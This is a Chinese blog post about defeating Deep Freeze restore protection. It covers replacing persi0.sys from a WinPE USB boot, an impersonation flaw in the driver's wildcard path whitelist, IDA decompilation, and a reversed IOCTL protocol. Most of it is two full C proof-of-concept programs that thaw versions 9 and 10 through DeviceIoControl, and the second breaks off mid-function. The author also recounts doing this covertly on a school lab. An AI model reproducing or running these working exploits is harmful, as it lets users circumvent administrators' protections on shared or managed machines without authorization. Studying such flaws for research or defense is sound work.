现充|junyu33

Deep Freeze 忘了密码怎么解冻?

11 年前,也就是自己六年级的时候,我绕过了 Deep Freeze 的还原保护。

11 年后,Deep Freeze 居然只更新了两个大版本。现在心血来潮又试了一下,发现自己当年的方法仍然健在,并且还有了新的思路。这篇文章针对的两个版本是:

方法在自己的 win7 虚拟机测试,两个版本均通过。仅供个人学习交流使用。

替换 persi0.sys

需要 U 盘 physical access,进入 winPE。

这是我当年偷偷跑到学校机房实施的办法。步骤如下:

  1. 记住学校机房里安装的 Deep Freeze 的版本号,并在另一条设备开虚拟机下载、安装相同版本的 Deep Freeze,设置并牢记自己的密码。
  2. 重启之后,在 PE 环境将 C 盘根目录的 persi0.sys 拷贝进 U 盘(因为正在运行中的系统无法拷贝,必须离线)。
  3. 到了微机课的时候,使用自己的 PE 启动盘进入 PE 环境,将 persi0.sys 覆盖对应的 C 盘根目录文件。
  4. 下次重启到原来的系统,Ctrl+Alt+Shift+F6,输入原来的密码解锁,选择解冻,再次重启即可用原来的安装包卸载。

这个方法的重要前提是——当时机房 BIOS 没有密码。

至于官方修复方面,这个方法在 8.35 及其之前都仍然有效。2017/02 官方推出了 8.37,有了完整性校验,按照这个步骤会导致 Deep Freeze 的图标消失。虽然软件坏了,但系统实际上处于解冻状态,直接用对应安装包卸载即可。

到了最新版本 9.0.20.5760,完整性校验似乎又没了。我亲自开了两个 vmware 虚拟机,(注意不是克隆,vol C: 输出不同,机器指纹应该不一样),我观察到了两个现象:

  1. 给这两个系统的 Deep Freeze 设置相同的密码,PE 导出后,diff 检查逐字节一致。
  2. 假如虚拟机 A 和虚拟机 B 的密码不同,将 B 的 persi0.sys 替换 A 的那个版本,之后在虚拟机 A 使用 B 的密码也可以登录成功。

事后的逆向分析也证明驱动完全不验签,但应用态的 FrzState2k.exe 内部嵌着一把 base64 RSA 公钥。格式为 X.509 SubjectPublicKeyInfo 的 RSA 3072,具体内容如下:

MIIBoDANBgkqhkiG9w0BAQEFAAOCAY0AMIIBiAKCAYEA2RePUsV+NetwZuAWHMOmEjzUrXOFHsAG3YL2vy/PBt1CsIOXeUPb+KgOtFJN2rfbvgULnQmI50GK7lF+J6za9TUP6QAAWKlkc2XO1BbiGD9O83g9Vcw8dZwbKZbRmEEnQoYALfQaXdIg8ehHGgLT4K8b9C3cPklNNQUpgazrj5Xrdbu+EuwTfoW1mc3SfJkWZBLWiPPiHjd1xzxtiVhO/D+ANNMWsL8D/yQTwvg6vkLOIUR2M/MLqDBAgB309/XtPsJQ9WIVJxSMd+Fj+DVTbJtJd1V/usttlK54/4wY63mHXO38oNZV1tMKRHlYpvXoGFAtFiTBCf1LAlHUN0Q/qtHfbYxFc60Jbdgqgb+SEFETNXQIHSlmGAN66DZauesdrADri1fIc2O+Bzzz8c9bTDcdu4x6whDwU+2BL8qszORIWiECU4z57w7N22fnLAE1Z8+RrJq/7dLgZNFBxZEexM2hfhTz40vIWfhD5En+WwZUa+vEud4DIPqu8Ltq9NZZAgER

基于对密码学的基本信任,我认为单从 persi0.sys 还原密码明文,基本上不可能了。

白名单路径 impersonate

只需有当前电脑的管理员权限即可。

静态分析得到的最重要的漏洞就是,程序运行的是白名单正则匹配的,具体而言,匹配方式为:

*\WINDOWS\SYSTEM32\DFC.EXE*
*\WINDOWS\SYSWOW64\DFC.EXE*
*\FARONICS\DEEP FREEZE\INSTALL C-0\DFSERV.EXE*
*\FARONICS\DEEP FREEZE\INSTALL C-0\_$DF\FRZSTATE2K.EXE*

这意味着你只要编写一个形如 DFServ.exe.20260928.exe,并放在 Install C-0 这个目录,你就相当于获得了与 DFServ.exe 等这些程序相同的身份。

这个版本对 9.0.20.5760 和 10.10.220.5788 都适用,绕过思路基本一致,只是官方的参数调整让实现细节有所区别。

9.0.20.5760

这里重点说一下白名单校验是怎么来的。首先驱动 deepfrz.sys 在哪些地方用了 ZwQueryInformationProcess API,看一下 Xref:

查看 sub_140007A8C,F5 反编译如下:

__int64 __fastcall sub_140007A8C(__int64 a1, _QWORD *a2)
{
  NTSTATUS InformationProcess; // eax
  PVOID PoolWithTag; // rbx
  NTSTATUS v6; // edi
  SIZE_T NumberOfBytes; // [rsp+48h] [rbp+10h] BYREF

  LODWORD(NumberOfBytes) = 0;
  *a2 = 0;
  InformationProcess = ZwQueryInformationProcess(
                         ProcessHandle: (HANDLE)0xFFFFFFFFFFFFFFFFLL,
                         ProcessInformationClass: ProcessImageFileName,
                         ProcessInformation: nullptr,
                         ProcessInformationLength: 0,
                         ReturnLength: (PULONG)&NumberOfBytes);
  if ( (_DWORD)NumberOfBytes == 0 || InformationProcess != 0xC0000004 )
    return 0xC0000001LL;
  PoolWithTag = ExAllocatePoolWithTag(PoolType: PagedPool, (unsigned int)NumberOfBytes, Tag: 0x636F7250u);
  if ( PoolWithTag == nullptr )
    return 3221225626LL;
  v6 = ZwQueryInformationProcess(
         ProcessHandle: (HANDLE)0xFFFFFFFFFFFFFFFFLL,
         ProcessInformationClass: ProcessImageFileName,
         ProcessInformation: PoolWithTag,
         ProcessInformationLength: NumberOfBytes,
         ReturnLength: (PULONG)&NumberOfBytes);
  if ( v6 < 0 )
  {
    _mm_lfence();
    ExFreePoolWithTag(P: PoolWithTag, Tag: 0);
  }
  else
  {
    *a2 = PoolWithTag;
  }
  return (unsigned int)v6;
}

看看父函数 sub_1400073F0,程序在经历上面的 sub_140007A8C 之后,来到了 sub_1400179E8(也就是 FsRtlIsNameInExpression):

      if ( v5 == 468200 )
      {
        P = nullptr;
        if ( (int)sub_140007A8C(a1, a2: &P) >= 0 )
        {
          v22 = 0;
          while ( 1 )
          {
            v24 = 0;
            RtlInitUnicodeString(&DestinationString, SourceString: off_140029000[v22]);
            if ( (unsigned __int8)sub_1400179E8(a1: P, a2: &DestinationString) == 1 )
              break;
            if ( DestinationString.Buffer != nullptr && v24 != 0 )
              sub_1400124F0(a1: DestinationString.Buffer, a2: 2);
            if ( (unsigned __int64)++v22 >= 4 )
              goto LABEL_121;
          }
          if ( DestinationString.Buffer != nullptr && v24 != 0 )
            sub_1400124F0(a1: DestinationString.Buffer, a2: 2);
LABEL_121:
          ExFreePoolWithTag(P, Tag: 0);
          if ( v22 == 4 )
          {
            v14 = -1073741790;
            goto LABEL_51;
          }
        }
      }
      a2 = v4;

于是我们应该关心 off_140029000 常量,因为根据业务逻辑,这段附近肯定涉及到白名单匹配,打开一看:

.data:0000000140029000 off_140029000   dq offset aWindowsSystem3
.data:0000000140029000                                         ; DATA XREF: sub_1400073F0:loc_14000782A↑o
.data:0000000140029000                                         ; "*\\WINDOWS\\SYSTEM32\\DFC.EXE*"
.data:0000000140029008                 dq offset aWindowsSyswow6 ; "*\\WINDOWS\\SYSWOW64\\DFC.EXE*"
.data:0000000140029010                 dq offset aFaronicsDeepFr ; "*\\FARONICS\\DEEP FREEZE\\INSTALL C-0\\"...
.data:0000000140029018                 dq offset aFaronicsDeepFr_0 ; "*\\FARONICS\\DEEP FREEZE\\INSTALL C-0\\"...

双击跳转到对应 offset,前面的 claim 就被证实了:

.rdata:00000001400257C0 aWindowsSystem3:                        ; DATA XREF: .data:off_140029000↓o
.rdata:00000001400257C0                 text "UTF-16LE", '*\WINDOWS\SYSTEM32\DFC.EXE*',0
.rdata:00000001400257F8 aWindowsSyswow6:                        ; DATA XREF: .data:0000000140029008↓o
.rdata:00000001400257F8                 text "UTF-16LE", '*\WINDOWS\SYSWOW64\DFC.EXE*',0
.rdata:0000000140025830 aFaronicsDeepFr:                        ; DATA XREF: .data:0000000140029010↓o
.rdata:0000000140025830                 text "UTF-16LE", '*\FARONICS\DEEP FREEZE\INSTALL C-0\DFSERV.EXE*',0
.rdata:000000014002588E                 align 10h
.rdata:0000000140025890 aFaronicsDeepFr_0:                      ; DATA XREF: .data:0000000140029018↓o
.rdata:0000000140025890                 text "UTF-16LE", '*\FARONICS\DEEP FREEZE\INSTALL C-0\_$DF\FRZSTATE2K.'
.rdata:00000001400258F6                 text "UTF-16LE", 'EXE*',0

之后就是看如何与驱动交互。这里就让 LLM 代劳了,对应的函数是:

# 要逆出的量 IDA 位置 给出报文里的
1 IOCTL 码表 + 分派链 sub_1400073F0 → sub_140001060 → sub_140008D18(减法链) 4 个码 0x724E8 / 0x7207C / 0x72024 / 0x72094
2 两个查询的调用约定 sub_140007B48、sub_140007BB8 id、type1(输入 NULL、输出 4、不解包)
3 两段式读取 sub_140009C78 → sub_140022B4C / sub_140022E18 N + 记录本体(原样带回)
4 记录的字段约束 sub_14000AB28(+2/+0xD4 校验)、sub_140023780(3221 B) +0x02 = 0x1712、+0xD4 = id
5 提交只采纳哪两个字段 sub_14000AB28(mode 4) 克隆链(sub_1400124D0→sub_1400063E8→sub_140023780→sub_140003650) +0x04 = 1、+0x72 = 7
6 trailer 字段与取值 模板 byte_8772FC + sub_4BC984/sub_4BCAEC/sub_4BC350;sub_140022B74、sub_140022BAC +0x00/+0x82/+0x8A/+0x8E
7 内层变换与作用范围 sub_14000FFEC ≡ sub_4DBCDC ^0xC0,只前 min(len,0x3000)
8 外层尾布局与魔数 sub_4BE1DC ↔ sub_1400010DC;魔数 cmp [rbx+0Ch],6789DEDCh [id][0x6789DEDC][12]
9 外层变换、递推、种子、窗口 sub_4A7ED8+sub_4A7F14+sub_4A7F54 ↔ sub_14000B7F4+sub_14000B724(&ctx,60) 逆序 XOR、s^(k+3)、181/163、秒种子、窗口 60
10 提交语义与长度约束 sub_14000AB28(mode 4);sub_140001B38(v8 == a4 才写) 长度恰好等于 slot 长度;成功 = 返回 N

知道了这些信息,我们就开始写 PoC 了:

/* DeepFrz.sys 9.00.020.5760, exact SHA-256 pinned below.
 * Static-analysis PoC. Never run by the authoring session.
 * No CRT, no reboot, no 0x72028, no retry of the write request.
 * Run only when explicitly ready: thaw_once.exe --thaw-once
 */
#define WIN32_LEAN_AND_MEAN
#define _WIN32_WINNT 0x0601
#include <windows.h>
#include <wincrypt.h>
#include <shellapi.h>

#define IO_READ       0x00072024u
#define IO_COMMIT     0x00072094u
#define IO_TYPE1      0x0007207Cu
#define IO_RECORD_ID  0x000724E8u
#define MAX_RECORD    0xBADBu
#define MIN_RECORD    (637u + 3221u)
#define TAIL_SIZE     146u
#define OUTER_SIZE    12u

static const BYTE expected_sha256[32] = {
    0xC4,0xB9,0xE8,0x41,0xA6,0x79,0x8A,0x47,
    0x40,0xB1,0xAA,0x01,0x4B,0x03,0x3A,0x2E,
    0x86,0x4D,0xF6,0x65,0xC1,0xDB,0x6B,0x67,
    0x9F,0x31,0xBC,0x8D,0x77,0xDB,0xB7,0x3F
};

static DWORD length(const char *s) { DWORD n=0; while(s[n]) ++n; return n; }
static void say(const char *s) {
    DWORD n;
    WriteFile(GetStdHandle(STD_OUTPUT_HANDLE),s,length(s),&n,NULL);
}
static void hex32(DWORD v) {
    char s[11]; DWORD i;
    s[0]='0'; s[1]='x'; s[10]=0;
    for(i=0;i<8;++i) s[9-i]="0123456789ABCDEF"[(v>>(4*i))&15u];
    say(s);
}
static BOOL equal_w(const WCHAR *a,const WCHAR *b) {
    while(*a && *a==*b) { ++a; ++b; } return *a==*b;
}
static BYTE *allocate(DWORD n) {
    return (BYTE*)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,n);
}
static void release(void *p) { if(p) HeapFree(GetProcessHeap(),0,p); }
static DWORD get32(const BYTE *p) {
    return (DWORD)p[0]|((DWORD)p[1]<<8)|((DWORD)p[2]<<16)|((DWORD)p[3]<<24);
}
static WORD get16(const BYTE *p) { return (WORD)(p[0]|((WORD)p[1]<<8)); }
static void put32(BYTE *p,DWORD n) {
    p[0]=(BYTE)n; p[1]=(BYTE)(n>>8); p[2]=(BYTE)(n>>16); p[3]=(BYTE)(n>>24);
}
static void put16(BYTE *p,WORD n) { p[0]=(BYTE)n; p[1]=(BYTE)(n>>8); }
static void copy_bytes(BYTE *d,const BYTE *s,DWORD n) {
    DWORD i; for(i=0;i<n;++i) d[i]=s[i];
}

/* Check the on-disk driver before opening the volume. Does not prove the
 * loaded kernel image matches a subsequently replaced on-disk file. */
static BOOL verify_target(void) {
    OSVERSIONINFOA os={0};
    char path[MAX_PATH];
    const char suffix[]="\\drivers\\DeepFrz.sys";
    HCRYPTPROV provider=0; HCRYPTHASH hash=0;
    HANDLE file=INVALID_HANDLE_VALUE;
    BYTE digest[32]; BYTE *chunk=NULL;
    DWORD n,i,read_n,digest_n=32; BOOL ok=FALSE;
    LARGE_INTEGER size;
    if(sizeof(void*)!=8) { say("This PoC requires x64.\r\n"); return FALSE; }
    os.dwOSVersionInfoSize=sizeof(os);
    if(!GetVersionExA(&os) || os.dwMajorVersion!=6 || os.dwMinorVersion!=1) {
        say("Refusing: expected Windows 7 / NT 6.1.\r\n"); return FALSE;
    }
    n=GetSystemDirectoryA(path,MAX_PATH);
    if(!n || n>=MAX_PATH || (path[0]!='C' && path[0]!='c') || path[1]!=':') {
        say("Refusing: expected the analyzed C: system volume.\r\n"); return FALSE;
    }
    if(n+sizeof(suffix)>MAX_PATH) return FALSE;
    for(i=0;i<sizeof(suffix);++i) path[n+i]=suffix[i];
    file=CreateFileA(path,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
    if(file==INVALID_HANDLE_VALUE) goto done;
    if(!GetFileSizeEx(file,&size) || size.QuadPart!=203832) goto done;
    if(!CryptAcquireContextA(&provider,NULL,NULL,PROV_RSA_AES,CRYPT_VERIFYCONTEXT)) goto done;
    if(!CryptCreateHash(provider,CALG_SHA_256,0,0,&hash)) goto done;
    chunk=allocate(4096);
    if(!chunk) goto done;
    for(;;) {
        if(!ReadFile(file,chunk,4096,&read_n,NULL)) goto done;
        if(!read_n) break;
        if(!CryptHashData(hash,chunk,read_n,0)) goto done;
    }
    if(!CryptGetHashParam(hash,HP_HASHVAL,digest,&digest_n,0) || digest_n!=32) goto done;
    for(i=0;i<32;++i) if(digest[i]!=expected_sha256[i]) goto done;
    ok=TRUE;
done:
    release(chunk);
    if(hash) CryptDestroyHash(hash);
    if(provider) CryptReleaseContext(provider,0);
    if(file!=INVALID_HANDLE_VALUE) CloseHandle(file);
    if(!ok) say("Refusing: driver size/hash verification failed.\r\n");
    return ok;
}

/* Exactly the observed volume-open parameters. Reopen for each request,
 * as DFServ does. No alternate device and no write-request retry. */
static BOOL ioctl(DWORD code,BYTE *input,DWORD in_n,BYTE *output,DWORD out_n,DWORD *returned) {
    HANDLE h=CreateFileA("\\\\.\\C:",0,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    BOOL ok; DWORD error;
    *returned=0;
    if(h==INVALID_HANDLE_VALUE) {
        say("CreateFile failed: "); hex32(GetLastError()); say("\r\n"); return FALSE;
    }
    ok=DeviceIoControl(h,code,input,in_n,output,out_n,returned,NULL);
    error=ok?0:GetLastError();
    CloseHandle(h);
    if(!ok) {
        say("DeviceIoControl "); hex32(code); say(" failed: "); hex32(error); say("\r\n");
    }
    return ok;
}

/* 140007B48 / 140007BB8 require SystemBuffer and output length exactly 4.
 * They do not read/decode input. The I/O manager supplies SystemBuffer
 * from OutputBufferLength=4 even when input is NULL. */
static BOOL query_dword(DWORD code,DWORD *value) {
    BYTE out[4]={0}; DWORD returned;
    if(!ioctl(code,NULL,0,out,4,&returned) || returned!=4) return FALSE;
    *value=get32(out); return TRUE;
}

/* 4BE1DC / 4A7ED8, matched against 1400010DC / 14000B7F4.
 * Fresh UTC seconds for every request; no timestamp copied from DFTime. */
static BYTE *wrap(const BYTE *plain,DWORD n,DWORD id,DWORD *wire_n) {
    FILETIME ft; ULARGE_INTEGER t;
    ULONGLONG seconds;
    DWORD k,total=n+OUTER_SIZE;
    WORD state;
    BYTE *wire=allocate(total);
    if(!wire) return NULL;
    copy_bytes(wire,plain,n);
    put32(wire+n,id); put32(wire+n+4,0x6789DEDCu); put32(wire+n+8,OUTER_SIZE);
    GetSystemTimeAsFileTime(&ft);
    t.LowPart=ft.dwLowDateTime; t.HighPart=ft.dwHighDateTime;
    if(t.QuadPart<116444736000000000ULL) { release(wire); return NULL; }
    seconds=(t.QuadPart-116444736000000000ULL)/10000000ULL;
    if(seconds>0x7FFFFFFFULL) { release(wire); return NULL; }
    state=(WORD)seconds;
    for(k=0;k<total;++k) {
        state=(WORD)(2u*((DWORD)state/181u)-163u*((DWORD)state%181u));
        wire[total-1-k]^=(BYTE)((BYTE)state^(BYTE)(k+3u));
    }
    *wire_n=total; return wire;
}

static BOOL read_slot0(DWORD id,BYTE *out,DWORD out_n,DWORD *returned) {
    BYTE index[4]={0}; DWORD wire_n=0;
    BYTE *wire=wrap(index,4,id,&wire_n); BOOL ok;
    if(!wire) return FALSE;
    ok=ioctl(IO_READ,wire,wire_n,out,out_n,returned);
    release(wire); return ok;
}

static DWORD thaw_once(void) {
    DWORD id,key,n,returned,wire_n,i,plain_n;
    BYTE size_bytes[4]={0}; BYTE *record=NULL,*plain=NULL,*wire=NULL;
    DWORD result=1;
    if(!verify_target()) return 1;
    if(!query_dword(IO_RECORD_ID,&id) || !query_dword(IO_TYPE1,&key)) return 1;
    if(!read_slot0(id,size_bytes,4,&returned) || returned!=4) return 1;
    n=get32(size_bytes);
    /* Bounds cover the subregion the handler itself copies and the
     * maximum clone allocation in this exact driver. Do not guess N. */
    if(n<MIN_RECORD || n>MAX_RECORD) {
        say("Refusing unexpected record length: "); hex32(n); say("\r\n"); return 1;
    }
    record=allocate(n);
    if(!record || !read_slot0(id,record,n,&returned) || returned!=n) goto done;
    if(get16(record)!=n || get16(record+2)!=0x1712 || get32(record+0xD4)!=id) {
        say("Refusing inconsistent record header/id.\r\n"); goto done;
    }
    plain_n=n+TAIL_SIZE;
    plain=allocate(plain_n);
    if(!plain) goto done;
    copy_bytes(plain,record,n);
    put32(plain+0x04,1);          /* one thawed initialization interval */
    put16(plain+0x72,7);          /* DFServ RebootThawed operation */
    put32(plain+n+0x00,key);      /* from 0x7207C, NOT readback +0x289 */
    put32(plain+n+0x82,1);        /* type-1 validation */
    put32(plain+n+0x8A,0);        /* slot 0 */
    put32(plain+n+0x8E,TAIL_SIZE);
    /* All remaining trailer bytes are zero, as in DFServ. */
    for(i=0;i<plain_n && i<0x3000u;++i) plain[i]^=0xC0;
    wire=wrap(plain,plain_n,id,&wire_n);
    if(!wire) goto done;
    say("Submitting ONE 0x72094 request (count=1, operation=7).\r\n");
    if(!ioctl(IO_COMMIT,wire,wire_n,NULL,0,&returned)) {
        say("Write outcome is not confirmed; do not assume nothing changed. No retry was made.\r\n");
        goto done;
    }
    if(returned!=n) {
        say("Unexpected completion length; write may have occurred. No retry was made.\r\n");
        goto done;
    }
    say("Driver reported success. No reboot was requested. Actual thaw state is not verified.\r\n");
    result=0;
done:
    release(wire); release(plain); release(record);
    return result;
}

/* Custom PE entry point keeps the executable independent of UCRT/.NET. */
void entry(void) {
    int argc=0; DWORD result=2;
    WCHAR **argv=CommandLineToArgvW(GetCommandLineW(),&argc);
    if(argv && argc==2 && equal_w(argv[1],L"--thaw-once")) result=thaw_once();
    else say("Version-pinned static-analysis PoC.\r\nUsage: thaw_once.exe --thaw-once\r\nNo device calls made without that argument. No automatic reboot.\r\n");
    if(argv) LocalFree(argv);
    ExitProcess(result);
}

10.10.220.5788

v10 的版本在 v9 基础上,白名单本身是没有变化的,驱动确实改了不少:

# 项 v9 v10
1 记录 id 查询码 0x724E8 0x724E4
2 长度/读取码 0x72024 0x72020(0x72024 改成"写模式 0 预检")
3 提交 mode 0x72094 ⇒ mode 4 0x72094 ⇒ mode 3
4 trailer 首 dword type-1 值(记录 +0x289,由 0x7207C 取)→ 源码 put32(plain+n+0x00,key) 记录 id → 源码 put32(payload+n+0x00,id)(key 查了只打印)
5 内层变换 内联 p[i]^=0xC0 inner_transform():p[i]^=i^(0xBC+i)
6 外层魔数 0x6789DEDC 0x6789EFDC
7 外层递推 state=2*(state/181)-163*(state%181) 2060591247 魔数除法实现的 173/137 版

具体细节这里就不赘述了,PoC 如下:

/* DeepFrz.sys 10.10.220.5788, exact SHA-256 pinned below.
 * v11 candidate: corrected v10 protocol port. Static-analysis derived; the
 * authoring session did NOT run it.
 *
 * Corrections versus poc\thaw_once_v10_candidate.c, both proven from the
 * v10 driver and from the UPX-unpacked v10 DFServ.exe:
 *
 *  1. 0x72024 is NOT the length query in v10. Sending a 4-byte payload to
 *     0x72024 makes sub_14000ADE8's trailer parser sub_140022E54 return NULL
 *     (it requires payloadLen >= 0x92 and u32@(payload+payloadLen-4) == 146),
 *     so the handler takes LABEL_49 and completes with STATUS_INVALID_PARAMETER
 *     (0xC000000D) -> Win32 ERROR_INVALID_PARAMETER (0x57), exactly the observed
 *     failure. The length query / record read moved to 0x72020.
 *  2. The inner payload transform is not a flat XOR 0xC0. v10 uses
 *     payload[i] ^= (BYTE)i ^ (BYTE)(0xBC + i) for i < min(len,0x3000)
 *     (driver sub_1400102C0, DFServ sub_4DC0FC -- identical).
 *
 * No CRT, no reboot, no retry. Run only when explicitly ready:
 *   thaw_once_v11_candidate.exe --thaw-once
 */
#define WIN32_LEAN_AND_MEAN
#define _WIN32_WINNT 0x0601
#include <windows.h>
#include <wincrypt.h>
#include <shellapi.h>

/* v10 request codes, each traced to its handler in DeepFrz.sys 10.10.220.5788:
 *   0x72020 -> worker sub_140008D28 -> sub_140009C88  length query / record read
 *   0x72024 -> worker sub_140008D28 -> sub_14000ADE8 mode 0  read w/ trailer
 *   0x7208C -> worker sub_140008D28 -> sub_14000ADE8 mode 2
 *   0x72094 -> worker sub_140008D28 -> sub_14000ADE8 mode 3  commit
 *   0x7207C -> pre-dispatch sub_140007400 (unpacked, needs OutputBufferLength>=4)
 *   0x724E4 -> worker sub_140007B58 (unpacked, needs OutputBufferLength==4)
 */
#define IO_META       0x00072020u
#define IO_READ       0x00072024u
#define IO_COMMIT     0x00072094u
#define IO_TYPE1      0x0007207Cu
#define IO_RECORD_ID  0x000724E4u

/* DFServ v10 rejects Size > 0xB9BB (sub_4BC6D8). The driver's own memcpy of
 * 3221 bytes at record+637 needs N >= 637+3221. */
#define MAX_RECORD    0xB9BBu
#define MIN_RECORD    (637u + 3221u)
#define TAIL_SIZE     146u
#define OUTER_SIZE    12u
#define SLOT0         0u

static const BYTE expected_sha256[32] = {
    0x2E,0xDE,0x84,0x4D,0x9E,0x28,0x33,0x22,
    0x8C,0xF0,0xEB,0x16,0x18,0x71,0x20,0xCA,
    0x59,0x86,0x4F,0x87,0x09,0xEA,0x4F,0xA2,
    0x40,0xFE,0xC5,0x2B,0x3A,0xB2,0x24,0xCF
};

static DWORD length(const char *s) { DWORD n=0; while(s[n]) ++n; return n; }
static void say(const char *s) {
    DWORD n;
    WriteFile(GetStdHandle(STD_OUTPUT_HANDLE),s,length(s),&n,NULL);
}
static void hex32(DWORD v) {
    char s[11]; DWORD i;
    s[0]='0'; s[1]='x'; s[10]=0;
    for(i=0;i<8;++i) s[9-i]="0123456789ABCDEF"[(v>>(4*i))&15u];
    say(s);
}
static BOOL equal_w(const WCHAR *a,const WCHAR *b) {
    while(*a && *a==*b) { ++a; ++b; } return *a==*b;
}
static BYTE *allocate(DWORD n) {
    return (BYTE*)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,n);
}
static void release(void *p) { if(p) HeapFree(GetProcessHeap(),0,p); }
static DWORD get32(const BYTE *p) {
    return (DWORD)p[0]|((DWORD)p[1]<<8)|((DWORD)p[2]<<16)|((DWORD)p[3]<<24);
}
static WORD get16(const BYTE *p) { return (WORD)(p[0]|((WORD)p[1]<<8)); }
static void put32(BYTE *p,DWORD n) {
    p[0]=(BYTE)n; p[1]=(BYTE)(n>>8); p[2]=(BYTE)(n>>16); p[3]=(BYTE)(n>>24);
}
static void put16(BYTE *p,WORD n) { p[0]=(BYTE)n; p[1]=(BYTE)(n>>8); }
static void copy_bytes(BYTE *d,const BYTE *s,DWORD n) {
    DWORD i; for(i=0;i<n;++i) d[i]=s[i];
}

/* Check the on-disk driver before opening the volume. Does not prove the
 * loaded kernel image matches a subsequently replaced on-disk file. */
static BOOL verify_target(void) {
    OSVERSIONINFOA os={0};
    char path[MAX_PATH];
    const char suffix[]="\\drivers\\DeepFrz.sys";
    HCRYPTPROV provider=0; HCRYPTHASH hash=0;
    HANDLE file=INVALID_HANDLE_VALUE;
    BYTE digest[32]; BYTE *chunk=NULL;
    DWORD n,i,read_n,digest_n=32; BOOL ok=FALSE;
    LARGE_INTEGER size;
    if(sizeof(void*)!=8) { say("This PoC requires x64.\r\n"); return FALSE; }
    os.dwOSVersionInfoSize=sizeof(os);
    if(!GetVersionExA(&os) || os.dwMajorVersion!=6 || os.dwMinorVersion!=1) {
        say("Refusing: expected Windows 7 / NT 6.1.\r\n"); return FALSE;
    }
    n=GetSystemDirectoryA(path,MAX_PATH);
    if(!n || n>=MAX_PATH || (path[0]!='C' && path[0]!='c') || path[1]!=':') {
        say("Refusing: expected the analyzed C: system volume.\r\n"); return FALSE;
    }
    if(n+sizeof(suffix)>MAX_PATH) return FALSE;
    for(i=0;i<sizeof(suffix);++i) path[n+i]=suffix[i];
    file=CreateFileA(path,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
    if(file==INVALID_HANDLE_VALUE) goto done;
    if(!GetFileSizeEx(file,&size) || size.QuadPart!=204880) goto done;
    if(!CryptAcquireContextA(&provider,NULL,NULL,PROV_RSA_AES,CRYPT_VERIFYCONTEXT)) goto done;
    if(!CryptCreateHash(provider,CALG_SHA_256,0,0,&hash)) goto done;
    chunk=allocate(4096);
    if(!chunk) goto done;
    for(;;) {
        if(!ReadFile(file,chunk,4096,&read_n,NULL)) goto done;
        if(!read_n) break;
        if(!CryptHashData(hash,chunk,read_n,0)) goto done;
    }
    if(!CryptGetHashParam(hash,HP_HASHVAL,digest,&digest_n,0) || digest_n!=32) goto done;
    for(i=0;i<32;++i) if(digest[i]!=expected_sha256[i]) goto done;
    ok=TRUE;
done:
    release(chunk);
    if(hash) CryptDestroyHash(hash);
    if(provider) CryptReleaseContext(provider,0);
    if(file!=INVALID_HANDLE_VALUE) CloseHandle(file);
    if(!ok) say("Refusing: driver size/hash verification failed.\r\n");
    return ok;
}

/* Same volume-open parameters as the observed DFServ path:
 * access=0, share=0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL. */
static BOOL raw_call(DWORD code,BYTE *input,DWORD in_n,BYTE *output,DWORD out_n,DWORD *returned) {
    HANDLE h=CreateFileA("\\\\.\\C:",0,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    BOOL ok; DWORD error;
    *returned=0;
    if(h==INVALID_HANDLE_VALUE) {
        say("CreateFile failed: "); hex32(GetLastError()); say("\r\n"); return FALSE;
    }
    ok=DeviceIoControl(h,code,input,in_n,output,out_n,returned,NULL);
    error=ok?0:GetLastError();
    CloseHandle(h);
    if(!ok) { say("DeviceIoControl "); hex32(code); say(" failed: "); hex32(error); say("\r\n"); }
    return ok;
}

/* 0x724E4: sub_140007B58 requires OutputBufferLength == 4 exactly and does not
 * read or decode the input; it returns u32@(current_record+0xD4). Unpacked.
 * 0x7207C: pre-dispatch sub_140007400 requires OutputBufferLength >= 4 and
 * returns !*(u8*)(*(device+104)+243). Unpacked. Both observed in DFServ v10. */
static BOOL query_raw(DWORD code,DWORD *value) {
    BYTE out[4]={0}; DWORD returned;
    if(!raw_call(code,NULL,0,out,4,&returned) || returned!=4) return FALSE;
    *value=get32(out); return TRUE;
}

/* Driver sub_1400102C0 / DFServ sub_4DC0FC: payload[i] ^= (BYTE)i ^ (BYTE)(0xBC+i),
 * the first min(len,0x3000) bytes only. This is NOT a flat XOR 0xC0. */
static void inner_transform(BYTE *p,DWORD n) {
    DWORD i,lim=(n>0x3000u)?0x3000u:n;
    for(i=0;i<lim;++i) p[i]^=(BYTE)((BYTE)i^(BYTE)(0xBCu+i));
}

/* Driver sub_14000BAC8 / sub_14000BA3C and DFServ sub_4BE564 / sub_4A8260:
 * outer 12-byte tail is id || 0x6789EFDC || 12, then a whole-wire reverse XOR
 * with state = (seed16 - attempt) and mask (k+3). Verified byte-for-byte. */
static BYTE *wrap(const BYTE *plain,DWORD n,DWORD id,DWORD *wire_n) {
    FILETIME ft; ULARGE_INTEGER t;
    ULONGLONG seconds;
    DWORD k,total=n+OUTER_SIZE;
    WORD state;
    BYTE *wire=allocate(total);
    if(!wire) return NULL;
    copy_bytes(wire,plain,n);
    put32(wire+n,id); put32(wire+n+4,0x6789EFDCu); put32(wire+n+8,OUTER_SIZE);
    GetSystemTimeAsFileTime(&ft);
    t.LowPart=ft.dwLowDateTime; t.HighPart=ft.dwHighDateTime;
    if(t.QuadPart<116444736000000000ULL) { release(wire); return NULL; }
    seconds=(t.QuadPart-116444736000000000ULL)/10000000ULL;
    if(seconds>0x7FFFFFFFULL) { release(wire); return NULL; }
    state=(WORD)seconds;
    for(k=0;k<total;++k) {
        DWORD prod=(DWORD)(((ULONGLONG)2060591247u*(DWORD)state)>>32);
        DWORD q=prod+(((DWORD)state-prod)>>1);
        DWORD r=q>>7;
        state=(WORD)(2u*r-137u*((DWORD)state-173u*r));
        wire[total-1-k]^=(BYTE)((BYTE)state^(BYTE)(k+3u));
    }
    *wire_n=total; return wire;
}

/* 0x72020 (driver sub_140009C88): payload is a 4-byte index, wrapped.
 * The I/O manager supplies SystemBuffer from max(InputBufferLength,
 * OutputBufferLength), so the wrapped 16-byte input is what the handler
 * unwraps. OutputBufferLength < record length => the length is written back as
 * one DWORD with Information=4; otherwise the record itself is read. */
static BOOL meta_call(DWORD id,DWORD index,BYTE *out,DWORD out_n,DWORD *returned) {
